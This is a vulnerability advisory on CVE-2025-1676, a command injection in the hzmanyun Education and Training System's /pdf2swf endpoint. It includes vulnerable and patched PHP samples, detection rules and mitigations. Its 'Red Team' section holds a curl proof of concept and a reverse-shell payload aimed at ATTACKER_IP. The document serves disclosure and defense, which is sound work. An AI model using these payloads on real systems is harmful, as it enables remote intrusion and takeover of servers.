CVE-2025-1676

Executive Summary

CVE-2025-1676 is a critical OS command injection vulnerability in the hzmanyun Education and Training System version 3.1.1. The flaw resides in the /pdf2swf endpoint, specifically within the pdf2swf function. By manipulating the file argument, an unauthenticated remote attacker can execute arbitrary operating system commands on the server. The exploit has been publicly disclosed, increasing the risk of widespread exploitation. No official patch is currently available, making immediate mitigation measures essential.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full system compromise, data exfiltration.
• Integrity Impact: High (I:H) – Full system compromise, data modification.
• Availability Impact: High (A:H) – Full system compromise, denial of service.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority threat.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the pdf2swf function of the /pdf2swf endpoint. The application likely uses a system call to convert PDF files to SWF format (e.g., using pdf2swf tool). The file parameter is passed directly to the shell without proper sanitization or escaping.

Vulnerable Code Pattern (Hypothetical PHP):

<?php
$file = $_GET['file'];
$output = shell_exec("pdf2swf $file -o output.swf");
echo $output;
?>

An attacker can inject commands by appending shell metacharacters to the file parameter. For example:

file=document.pdf;id

This would execute pdf2swf document.pdf;id -o output.swf, running the id command.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical):

<?php
$file = $_GET['file'];
$output = shell_exec("pdf2swf $file -o output.swf");
echo $output;
?>

Patched Code (Recommended):

<?php
$file = escapeshellarg($_GET['file']);
$output = shell_exec("pdf2swf $file -o output.swf");
echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
?>

The patch uses escapeshellarg() to safely escape the input, preventing command injection. Additionally, output is HTML-encoded to prevent XSS if the output is reflected.

Exploitation & Lab Setup

Red Team (Exploitation)

Proof of Concept (PoC) - Command Injection:

curl -G "http://target.com/pdf2swf" --data-urlencode "file=document.pdf;id"

Reverse Shell:

curl -G "http://target.com/pdf2swf" --data-urlencode "file=document.pdf;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Lab Setup:

1. Deploy a vulnerable instance of hzmanyun Education and Training System 3.1.1 in a sandboxed environment.
2. Use a tool like Burp Suite or curl to send crafted requests.
3. Monitor the response for command output.

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for unusual file parameter values containing shell metacharacters (;, |, &, $, `).
• Deploy WAF rules to block requests with suspicious patterns in the file parameter.
• Use the detection rules provided below.

Response:

1. Immediately isolate affected systems.
2. Review logs for signs of exploitation.
3. Apply virtual patching via WAF.
4. If possible, disable the /pdf2swf endpoint until a patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /pdf2swf with file parameter containing shell metacharacters.
• Outbound connections from the server to unusual IPs/ports (e.g., reverse shell).

File System IOCs:

• Unexpected files in /tmp/ or web root.
• Modified system binaries or configuration files.

Log IOCs:

• Web server logs showing file=document.pdf;id or similar patterns.
• System logs showing execution of unexpected commands (e.g., id, whoami).

Detection Engineering

YARA Rule

rule CVE_2025_1676_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2025-1676"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-1676"
    strings:
        $cmd1 = "file="
        $cmd2 = ";"
        $cmd3 = "|"
        $cmd4 = "&"
        $cmd5 = "$("
        $cmd6 = "`"
    condition:
        any of ($cmd*) and #cmd1 > 0
}

Sigma Rule

title: CVE-2025-1676 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with command injection patterns in the file parameter targeting /pdf2swf
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/pdf2swf'
        cs-uri-query|contains:
            - 'file=*;*'
            - 'file=*|*'
            - 'file=*&*'
            - 'file=*$(*'
            - 'file=*`*'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1676 Command Injection Attempt"; flow:to_server; content:"GET"; http_method; content:"/pdf2swf"; http_uri; content:"file="; http_uri; pcre:"/file=[^&]*(;|\||&|\$\(|`)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /pdf2swf endpoint if not required.
2. Apply virtual patching via WAF to block malicious file parameter values.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• The vendor must release a patch that properly sanitizes the file parameter using escapeshellarg() or similar.
• Implement input validation and output encoding.
• Conduct a security audit of the entire application.

Workaround:

• If the endpoint is necessary, restrict access to trusted IPs only.
• Use a reverse proxy to filter requests.

Valters IT
Securing Digital Frontiers